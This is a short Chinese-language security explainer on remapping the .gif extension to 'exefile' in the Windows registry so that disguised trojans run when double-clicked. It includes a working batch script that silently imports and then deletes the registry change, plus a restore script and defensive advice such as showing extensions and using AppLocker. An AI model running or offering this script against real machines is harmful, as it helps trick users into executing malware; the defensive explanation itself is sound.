註冊表修改讓任意文件 (如 .gif) 作為可執行程序運行的安全隱患

通過修改註冊表文件關聯，可將任意副檔名 (如 .gif) 映射為應用程序執行，惡意軟件常利用此技術偽裝木馬。

攻擊原理演示

將 .gif 關聯為可執行文件：

@echo off
color 1A
ECHO Windows Registry Editor Version 5.00 > gif.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif] >> gif.reg
ECHO "Content Type"="application/x-msdownload" >> gif.reg
ECHO @="exefile" >> gif.reg
regedit /s gif.reg > nul 2> nul
del /s gif.reg > nul 2> nul

運行後，雙擊任何 .gif 文件將按可執行程序加載。攻擊者將木馬改名為 photo.gif 誘導受害者點擊。

恢復 .gif 默認關聯：

@echo off
color 1A
ECHO Windows Registry Editor Version 5.00 > gif.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif] >> gif.reg
ECHO "Content Type"="image/gif" >> gif.reg
ECHO @="giffile" >> gif.reg
regedit /s gif.reg > nul 2> nul
del /s gif.reg > nul 2> nul

防範建議

• 開啟「顯示文件擴展名」，防止雙重擴展名欺騙 (malware.gif.exe 顯示為 malware.gif)。
• 使用標準用戶權限運行，限制寫入 HKLM\Software\Classes。
• 部署應用程序白名單 (AppLocker/WDAC) 阻止未簽名可執行文件運行。
• 定期檢查關鍵註冊表項 (HKCR\.exe、HKCR\.gif 等) 是否被篡改。

警示： 本文僅揭示攻擊原理供防禦參考，嚴禁用於惡意用途。